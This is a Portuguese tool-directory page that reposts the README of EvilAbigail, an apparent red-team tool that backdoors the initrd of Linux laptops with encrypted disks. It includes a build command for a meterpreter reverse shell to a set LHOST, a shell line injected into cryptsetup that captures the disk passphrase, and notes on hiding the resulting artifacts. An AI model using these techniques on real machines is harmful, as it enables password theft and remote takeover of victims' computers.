Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
EvilAbigail — Ataque automatizado de empregada malvada no Linux | Kitploit
Ferramentas/GitHubGitHub/strozfriedberg/evilabigail
Escalada de PrivilégiosAtaques de SenhaExploraçãoPós-ExploraçãoRed TeamingDesenvolvimento de Payloads
GitHubstrozfriedberg/evilabigail

EvilAbigail

Ataque automatizado de empregada malvada no Linux

Ver Repositório
4357764há 10 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Ataque ao sistema de arquivos raiz criptografado via initrd

EvilAbigail

Cenário

  • Laptop deixado desligado com FDE ativado
  • Atacante inicializa a partir de USB/CD/Rede
  • Script executa e backdoora o initrd
  • Usuário retorna ao laptop, inicializa normalmente
  • Initrd com backdoor carrega:
    • (Debian/Ubuntu/Kali) Arquivo .so no /sbin/init na inicialização, abrindo um shell
    • (Fedora/CentOS) LD_PRELOAD do .so no DefaultEnviroment, carregado globalmente, abrindo um shell.

Distros Suportadas

  • Ubuntu 14.04.3
  • Debian 8.2.0
  • Kali 2.0
  • Fedora 23
  • CentOS 7

Funcionalidades Atuais

  • python/meterpreter/reverse_https para LHOST em tempo de compilação
  • Senha de descriptografia FDE armazenada no ambiente meterpreter (getenv PASSWORD)

Detalhes

Compilando

Consulte o Makefile para mais informações/configuração, LHOST é necessário no ambiente para construir o .so pois o msfvenom é canalizado em tempo de compilação. Também é necessário ter libcrypsetup-dev (ou equivalente) instalado na máquina de compilação.

Instruções genéricas (constrói imagem iso no diretório atual): LHOST=192.168.56.101 make rev.so iso

isolinux.cfg

As seguintes opções foram anexadas à inicialização do kernel:

mc superuser nodhcp quiet loglevel=0

Além disso, o valor prompt foi definido como 0 para permitir execução totalmente automatizada.

Tempo

Tempo aproximado do boot malicioso -> backdoor: ~2 minutos Tempo aproximado do boot legítimo -> shell ~90 segundos (configurável, queremos a rede ativa antes de nós)

Pré-requisitos

core.d é um core.gz descompactado do TinyCore com os pacotes abaixo mesclados.

Core-current é um Core-current.iso descompactado

Os seguintes pacotes foram instalados dentro do tinycore (python, suporte a sistema de arquivos):

  • bzip2-lib.tcz
  • filesystems-3.16.6-tinycore.tcz
  • gdbm.tcz
  • libffi.tcz
  • mtd-3.16.6-tinycore.tcz
  • ncurses.tcz
  • openssl.tcz
  • python.tcz
  • readline.tcz
  • sqlite3.tcz

Adicionando novas assinaturas

No mínimo, a assinatura é a seguinte:

"exampleOS" : {
    "IDENTIFIER" : "grep EXAMPLEOS etc/initrd-release",
    "ROOT" : "${rootmnt}",
    "FILENAME" : "/ldlinux.so.1",
    "INITRDFILENAME" : "hda1"
}
  • exampleOS é um nome único para este SO.
  • IDENTIFIER é um comando shell que tem código de saída 0 quando executado contra o initrd correto, e !0 para qualquer outra coisa.
  • ROOT é o caminho completo ou variável onde a nova raiz é montada após a descriptografia.
  • FILENAME é o caminho completo para colocar nosso binário no sistema de arquivos raiz. Cuidado para saber o que initrd monta e o que é montado posteriormente.
  • INITRDFILENAME é o caminho completo do binário dentro do initrd. Isso é copiado dentro do Makefile (cp ... core.d/...), então deve corresponder a isso.

Depois disso, cada tripla de *FILE, *PRE, *POST é executada contra o initrd como um re.sub (ex: re.sub(*PRE, *POST, *FILE)). O conteúdo de *PRE e *POST é expandido usando .format(**config[detectedOS]), então sinta-se à vontade para expandir sua assinatura para injetar itens.

Não há limite para o número de substituições que você pode executar.

Notas

  • \\1 será expandido para o conteúdo completo da correspondência (*PRE) quando usado dentro da substituição (*POST).
  • Cuidado com: | $

Detalhes Minuciosos

Payload

O payload metasploit python/meterpreter/reverse_https foi escolhido porque é mais independente de plataforma do que os payloads linux/*/meterpreter/reverse_tcp. python parece estar instalado por padrão em todos os sistemas testados.

Por padrão, o payload é gerado em tempo de compilação e canalizado para o arquivo .c como um #define. Isso torna as iterações mais fáceis, mas não deve ser difícil salvar o payload e inseri-lo manualmente.

Baseados em Debian (Debian, Ubuntu, Kali)

Soltando o shell

Sistemas baseados em Debian (Debian, Ubuntu etc) usam uma imagem cpio gzipada padrão como initramfs. Isso contém o script /init padrão que executa a preparação do sistema para a inicialização completa. Isso inclui pedir a senha ao usuário e montar o sistema de arquivos raiz criptografado.

Para colocar nosso .so, esperamos até que o sistema de arquivos raiz tenha sido montado (então depois que a senha foi solicitada ao usuário) e copiamos o .so para o sistema de arquivos /dev. O sistema de arquivos /dev foi escolhido porque é acessível logo antes da troca do rootfs e é uma montagem baseada em RAM. Isso significa que nosso .so não tocará no disco.

Para realmente usar o .so colocado, usamos a variável de ambiente LD_PRELOAD na chamada switch_root. Essa variável é passada para todos os executáveis filhos e, como tal, o script final /sbin/init terá o módulo carregado. Para manter isso relativamente silencioso, verificamos se estamos carregados em /sbin/init e, se sim, desativamos a variável LD_PRELOAD e excluímos o .so. Essa funcionalidade pode ser facilmente desativada se quisermos enganchar aplicações específicas.

Para forçar a execução do .so, por padrão após o carregamento, usamos a flag gcc -Wl,-init,shell, onde shell é nossa função principal. Isso especifica qual função queremos chamar na inicialização do .so. Pense nisso como um análogo ao DllMain do Windows.

Roubo de senha

A parte do script init responsável por pedir a senha ao usuário e montar o sistema de arquivos raiz é a seguinte:

scripts/local-top/cryptroot:

if [ ! -e "$NEWROOT" ]; then
        if ! crypttarget="$crypttarget" cryptsource="$cryptsource" \
             $cryptkeyscript "$cryptkey" | $cryptcreate --key-file=- ; then
                message "cryptsetup: cryptsetup failed, bad password or options?"
                continue
        fi
fi

A parte importante para nós é onde a saída de $cryptkeyscript é canalizada para $cryptcreate. $cryptkeyscript é o solicitador de senha, e $cryptcreate é o montador de disco. Esse pipe torna muito fácil para nós atacarmos. Inserimos o seguinte código onde o pipe está para escrever a senha no final do nosso .so:

(read P; echo -ne \\\\\\\\x00$P >> /OUR.SO; echo -n $P)

Isso lerá a senha na variável $P, e tanto a escreverá no final do .so quanto a ecoará novamente. Esse código será transparente para os propósitos de $cryptkeyscript e $cryptcreate, mas terá o efeito colateral de exfiltrar a senha. Usamos \\\\\\\\x00 para prefixar um byte nulo (considerando muitos níveis de escape de shell) à senha. Isso torna muito mais fácil para nosso .so ler a senha de volta, pois ele só precisa ler para trás a partir de si mesmo até ver um byte nulo.

Para fornecer essa senha ao atacante, ela é usada como uma variável de ambiente na invocação do payload. Isso significa que o atacante pode simplesmente usar o comando meterpreter getenv PASSWORD para recuperar a senha.

Artefatos

Devido à forma como o .so está sendo carregado, haverá referências a ele tanto em /proc/1/maps quanto em /proc/1/environ.

O arquivo maps é uma lista de módulos carregados. O trecho a seguir mostra o conteúdo deste arquivo. Observe o (deleted), pode potencialmente levantar suspeitas. No entanto, ao contrário de binários normais, não é possível acessar o .so sem extraí-lo diretamente da memória após ter sido excluído.

7f9ee8a56000-7f9ee8a58000 r-xp 00000000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8a58000-7f9ee8c57000 ---p 00002000 00:06 9264                       /dev/hda1 (deleted)
7f9ee8c57000-7f9ee8c58000 rw-p 00001000 00:06 9264                       /dev/hda1 (deleted)
Baixar ferramenta